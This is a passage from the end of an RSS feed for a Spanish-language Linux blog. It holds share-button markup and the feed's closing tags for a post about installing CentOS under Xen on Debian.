rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Finstalar-centos-sobre-xen-con-debian-en-5-pasos%2F&amp;linkname=Instalar%20CentOS%20con%20Xen%20en%20Debian" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Finstalar-centos-sobre-xen-con-debian-en-5-pasos%2F&amp;linkname=Instalar%20CentOS%20con%20Xen%20en%20Debian">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/instalar-centos-sobre-xen-con-debian-en-5-pasos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
